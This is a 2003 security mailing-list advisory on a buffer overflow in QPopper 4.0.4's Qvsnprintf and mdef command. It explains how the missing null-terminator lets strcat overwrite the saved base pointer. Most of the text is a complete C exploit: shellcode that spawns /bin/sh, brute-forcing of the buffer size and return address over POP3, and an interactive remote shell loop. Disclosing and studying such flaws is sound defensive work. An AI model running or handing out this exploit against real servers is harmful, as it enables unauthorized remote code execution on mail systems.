[UNIX] QPopper Qvsnprintf Vulnerability (Exploit, MDEF)

From: support@securiteam.com
Date: 03/12/03

  • Next message: support@securiteam.com: "[NT] ISMail Remote Buffer Overrun"
    From: support@securiteam.com
    To: list@securiteam.com
    Date: 12 Mar 2003 23:20:14 +0200
    
    

    The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
    - - promotion

    In the US?

    Contact Beyond Security at our new California office
    housewarming rates on automated network vulnerability
    scanning. We also welcome ISPs and other resellers!

    Please contact us at: 323-882-8286 or ussales@beyondsecurity.com
    - - - - - - - - -

      QPopper Qvsnprintf Vulnerability (Exploit, MDEF)
    ------------------------------------------------------------------------

    SUMMARY

    Under certain conditions, it is possible to execute arbitrary code using a
    buffer overflow in the recent qpopper. The vulnerability requires a valid
    username/password-combination. The arbitrary code is usually executed with
    the user's uid and gid mail.

    DETAILS

    Vulnerable systems:
     * QPopper version n4.0.4-8

    Qualcomm provides their own vsnprintf-implementation Qvsnprintf(). This
    function is used unconditionally on any system, regardless if the system
    has its own vsnprintf(). The function correctly writes up to 'n' bytes
    into the buffer, but fails to null-terminate it if buffer-space runs out
    while copying the format-string (so the obvious fix is, null-terminate the
    buffer in Qvsnprintf()).

    This is a problem in pop_msg() (popper/pop_msg.c). The call to
    Qvsnprintf() can leave the buffer 'message' un-terminated, so the
    successive call to strcat (strcat(message,"\r\n")) writes somewhere into
    the stack. What it exactly overwrites depends heavily on the individual
    binary and the current stack-data (where the next null-byte is found).

    Florian Heinz successfully managed to execute arbitrary code using the
    'mdef'-command with the binary in the most recent Debian-package
    'qpopper-4.0.4-8'. Sending 'mdef <macroname>()' with a macro-name of about
    1000 bytes fills the buffer leaving it un-terminated. The strcat
    overwrites the least significant byte of the saved base pointer on the
    stack, now pointing inside the buffer. On return of pop_mdef() (file
    pop_extend.c), the return-address is now fetched from within our buffer
    (and of course pointing inside our buffer), allowing to, for example,
    spawn a shell.

    The Macroname may not include bytes causing isspace() to return true and,
    of course, no null-byte, so shellcode must be appropriate crafted.

    Exploit:
    /*****************************************************************************/
    /* Exploit for qpopper 4.0.x */
    /* (successfully tested with debian qpopper-4.0.4-8) */
    /* Provide a valid username/password and get a shell with the user's
    rights */
    /* and GID mail. */
    /* Author: Florian Heinz <sky@dereference.de> */
    /* */
    /*****************************************************************************/

    #include <sys/socket.h>
    #include <sys/select.h>
    #include <netinet/in.h>
    #include <arpa/inet.h>
    #include <netdb.h>
    #include <stdio.h>
    #include <string.h>
    #include <stdlib.h>
    #include <unistd.h>

    char shellcode[] =
            "\x31\xc0" /* xor %eax, %eax */
            "\x31\xdb" /* xor %ebx, %ebx */
            "\xb0\x17" /* mov $0x17, %al */
            "\xcd\x80" /* int $0x80 */
            "\x31\xc0" /* xor %eax, %eax */
            "\x50" /* push %eax */
            "\x68\x2f\x2f\x73\x68" /* push $0x68732f2f */
            "\x68\x2f\x62\x69\x6e" /* push $0x6e69622f */
            "\x89\xe3" /* mov %esp,%ebx */
            "\x50" /* push %eax */
            "\x53" /* push %ebx */
            "\x89\xe1" /* mov %esp,%ecx */
            "\x31\xd2" /* xor %edx,%edx */
            "\xb0\x08" /* mov $0x8,%al */
            "\x40\x40\x40" /* inc %eax (3 times) */
            "\xcd\x80"; /* int $0x80 */

    #define BUFLEN 1006
    #define RETLEN 148
    #define RETADDR 0xbfffc004

    void
    shell_io (fd)
      int fd;
    {
       fd_set fs;
       char buf[1000];
       int len;
       
       while (1)
         {
      FD_ZERO(&fs);
      FD_SET(0, &fs);
      FD_SET(fd, &fs);
      select(fd+1, &fs, NULL, NULL, NULL);
      if (FD_ISSET(0, &fs))
        {
           if ((len = read(0, buf, 1000)) <= 0)
             break;
           write(fd, buf, len);
        }
      else
        {
           if ((len = read(fd, buf, 1000)) <= 0)
             break;
           write(1, buf, len);
        }
         }
    }

       

    void
    send_mdef (fd, buflen, retaddr, rashift)
      int fd, buflen, rashift;
      unsigned int retaddr;
    {
       char buf[2000], *bp;
       int i;

       memset(buf, 0x90, 2000);
       memcpy(buf, "mdef ", 5);
       memcpy(buf + buflen - RETLEN - strlen(shellcode),
        shellcode, strlen(shellcode));
       bp = (char *) (((unsigned int)(buf + buflen - RETLEN)) & 0xfffffffc);
       for (i = 0; i < RETLEN; i += 4)
         memcpy(bp+i+rashift, &retaddr, sizeof(int));
       buf[buflen-2] = '(';
       buf[buflen-1] = ')';
       buf[buflen] = '\n';
       write(fd, buf, buflen+1);
       return;
    }

    int get_pop_reply (int fd, char *buf, int buflen)
    {
       int len;
       fd_set s;
       struct timeval tv;
       
       len = read (fd, buf, buflen);
       FD_ZERO(&s);
       FD_SET(fd, &s);
       tv.tv_sec = tv.tv_usec = 0;
       select(fd+1, &s, NULL, NULL, &tv);
       if (FD_ISSET(fd, &s))
         len = read (fd, buf, buflen);
       
       if (len == 0)
         return 0;
       else if (!strncmp(buf, "-ERR ", 5))
         return -1;
       else
         return len;
    }

    int
    open_pop(ip, user, pass)
      unsigned int ip;
      char *user, *pass;
    {
       struct sockaddr_in peer;
       int fd, st = 0;
       char buf[1024];
       int state = 0;

       peer.sin_family = AF_INET;
       peer.sin_port = htons(110);
       peer.sin_addr.s_addr = ip;
       
       fd = socket(AF_INET, SOCK_STREAM, 0);
       if (fd < 0)
         {
      perror("socket");
      exit(EXIT_FAILURE);
         }
       printf("Connecting to %s... ", inet_ntoa(peer.sin_addr));
       fflush(stdout);
       if (connect(fd, (struct sockaddr *)&peer, sizeof(struct sockaddr_in)) <
    0)
         {
      perror("connect");
      exit(EXIT_FAILURE);
         }
       printf("Logging in... ");
       fflush(stdout);
       while ((state < 3) && ((st = read(fd, buf, 1024)) > 0))
         {
      if (!strncmp(buf, "+OK ", 4))
        {
           switch (state)
             {
        case 0:
          snprintf(buf, 1024, "USER %s\n", user);
          write(fd, buf, strlen(buf));
          state++;
          break;
        case 1:
          snprintf(buf, 1024, "PASS %s\n", pass);
          write(fd, buf, strlen(buf));
          state++;
          break;
        case 2:
          state++;
          break;
             }
        }
      else if (!strncmp(buf, "-ERR ", 5))
        {
           fprintf(stderr, "Could not log in. Did you provide a valid "
             "username/password-combination?\n");
           break;
        }
      else
        {
           fprintf(stderr, "Invalid response from POP-Server:\n'%s'\n",
             buf);
           break;
        }
         }
       if (state < 3)
         {
      fprintf(stderr, "Exiting due to error...\n");
      exit(EXIT_FAILURE);
         }
       else if (st < 0)
         {
      perror("read");
      exit(EXIT_FAILURE);
         }
       else if (st == 0)
         {
      fprintf(stderr, "Peer closed...\n");
      exit(EXIT_FAILURE);
         }
       return fd;
    }

    int
    main (argc, argv)
      int argc;
      char *argv[];
    {
       char *host, *user, *pass;
       struct hostent *he;
       struct in_addr in;
       unsigned int ip, retaddr;
       int fd = -1, lbs, bs, ubs, found = 0, st;
       char buf[2000];
       
       if (4 != argc)
         {
      fprintf(stderr, "Usage: %s <host> <user> <pass>\n\n", argv[0]);
      exit(EXIT_FAILURE);
         }
       
       host = argv[1];
       user = argv[2];
       pass = argv[3];
       if (!inet_aton(host, &in))
         {
      if (!(he = gethostbyname(host)))
        {
           herror("Resolving host");
           exit(EXIT_FAILURE);
        }
      in.s_addr = *((unsigned int *)he->h_addr);
         }
       ip = in.s_addr;
       
       printf("Phase 1: Seeking buffer size\n");
       lbs = 0;
       bs = BUFLEN;
       ubs = 2000;
       while (!found && (bs != lbs) && (bs != ubs))
         {
      if (fd < 0)
        fd = open_pop(ip, user, pass);
      printf("Trying %d bytes... ", bs);
      fflush(stdout);
      send_mdef(fd, bs, 0x01010101, 0);
      sleep(1);
      switch ((st = get_pop_reply(fd, buf, 2000)))
        {
         case 0:
           found++;
           close(fd);
           fd = -1;
           break;
         case -1:
           printf("too long.\n");
           ubs = bs;
           bs = (lbs+ubs)/2;
           break;
         default:
           if (st < bs)
             {
          printf("(slightly) too long.\n");
          ubs = bs;
          bs = (lbs+ubs)/2;
          break;
             }
           else
             {
          printf("too short.\n");
          lbs = bs;
          bs = (lbs+ubs)/2;
          break;
             }
        }
         }
       if (!found)
         {
      printf("Couldn't find correct buffersize...\n");
      exit(EXIT_FAILURE);
         }
       printf("crash.\n");
       while (found)
         {
      bs--;
      if (fd < 0)
        fd = open_pop(ip, user, pass);
      printf("Trying %d bytes... ", bs);
      fflush(stdout);
      send_mdef(fd, bs, 0x01010101, 0);
      sleep(1);
      if (get_pop_reply(fd, buf, 2000))
        {
           printf("no crash\n");
           bs += 4;
           bs = bs & 0xfffffffc;
           found = 0;
        }
      else
        {
           fd = -1;
           printf("crash\n");
        }
         }
       printf("Optimal buffer size: %d\n\n", bs);
       
       
       printf("Phase 2: Find return address\n");
       found = 0;
       retaddr = RETADDR;
       while (!found)
         {
      if (fd < 0)
        fd = open_pop(ip, user, pass);
      printf("Trying %x... ", retaddr);
      fflush(stdout);
      send_mdef(fd, bs, retaddr, 2);
      sleep(1);
      if (get_pop_reply(fd, buf, 2000))
        {
           printf("no crash\n");
           found = 1;
        }
      else
        {
           fd = -1;
           retaddr += ((bs - RETLEN - 10 - strlen(shellcode)) & 0xffffff00);
           printf("crash\n");
        }
      if (retaddr > 0xbfffff00)
        break;
         }
       if (!found)
         {
      printf("Couldn't find a valid return address\n");
      exit(EXIT_FAILURE);
         }
       write(fd, "uname -a\n", 9);
       st = read(fd, buf, 100);
       buf[st] = '\0';
       if ((buf[0] != '-') && (buf[0] != '+'))
         {
      printf("We're in! (%s)\n", buf);
      shell_io(fd);
         }
       else
         printf("We failed...\n");
       
       exit(EXIT_FAILURE);
    }

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:heinz@cronon-ag.de> Florian
    Heinz.

    ========================================

    This bulletin is sent to members of the SecuriTeam mailing list.
    To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
    In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

    ====================
    ====================

    DISCLAIMER:
    The information in this bulletin is provided "AS IS" without warranty of any kind.
    In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.


  • Next message: support@securiteam.com: "[NT] ISMail Remote Buffer Overrun"

    Relevant Pages